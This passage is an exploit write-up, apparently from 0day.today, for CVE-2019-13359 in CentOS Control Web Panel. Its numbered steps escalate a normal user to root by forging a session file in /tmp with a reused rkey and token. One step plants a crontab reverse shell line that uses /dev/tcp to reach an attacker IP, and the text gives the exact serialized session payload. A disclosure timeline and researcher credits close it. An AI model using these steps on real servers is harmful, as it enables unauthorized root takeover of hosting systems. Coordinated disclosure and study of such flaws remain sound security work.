The session file are store at /tmp directory 2. rkey value in the session file dose not change when access by the same source IP address # ==================================================================== # Steps to Reproduce # ==================================================================== Session prepareation state 1. Check the current IP address of attacker 2. Set the IP address on testing environment network 3. Login as root on port 2031/2087 and save the cookie name from web browser (cwsrp-xxxxxxxxxxxxxxxxxxxxx) 4. Copy the content of session file (/tmp/sess_xxxxxxxxxxxxxx) to a new file "sess_123456" # we need "rkey" 5. Save the token value from the session file (cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx) * rkey is created from client ip, then do not change client ip when attack the real target Attack state # # Method 1 Uploading via reverse shell # 1. Go to crontab and set "bash -i >& /dev/tcp/[Attacker-IP]/8000 0>&1" 2. Create session file through reverse shell echo "username|s:4:\"root\";logged|b:1;rkey|s:20:\"[RKEY]\";token|s:36:\"[TOKEN-KEY]\";" > /tmp/sess_123456 3. On another browser, replace the token value in the URL https://[target.com]:2031/cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/admin/index.php 4. Change file permission "chmod 664 /tmp/sess_123456" 5. Create cookie name "cwsrp-xxxxxxxxxxxxxxxxxxxxx" and set its value to "123456" (sess_123456) 6. Open the URL and become the root user # # Method 2 Uploading via File manager function # 1. On the real target, login as a normal user on port 2083 and upload file "sess_123456" to /tmp directory and set permission to 644 (chmod 664 /tmp/sess_123456) via crontab feature 2. On another browser, replace the token value in the URL https://[target.com]:2031/cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/admin/index.php 3. Create cookie name "cwsrp-xxxxxxxxxxxxxxxxxxxxx" and set its value to "123456" (sess_123456) 4. Open the URL and become the root user *From step 1 - 4 need doing it quickly. if we do it too slow, the application will change the permission of file sess_123456 to 600, and the file will become 0 byte. If this happened, attacker need to change session file name and repeat the steps again # ==================================================================== # PoC # ==================================================================== https://github.com/i3umi3iei3ii/CentOS-Control-Web-Panel-CVE/blob/master/CVE-2019-13359.md # ==================================================================== # Timeline # ==================================================================== 2019-06-30: Discovered the bug 2019-06-30: Reported to vendor 2019-06-30: Vender accepted the vulnerability 2019-07-02: The vulnerability has been fixed 2019-07-06: Published # ==================================================================== # Discovered by # ==================================================================== Pongtorn Angsuchotmetee Nissana Sirijirakal Narin Boonwasanarak # 0day.today [2024-07-02] #
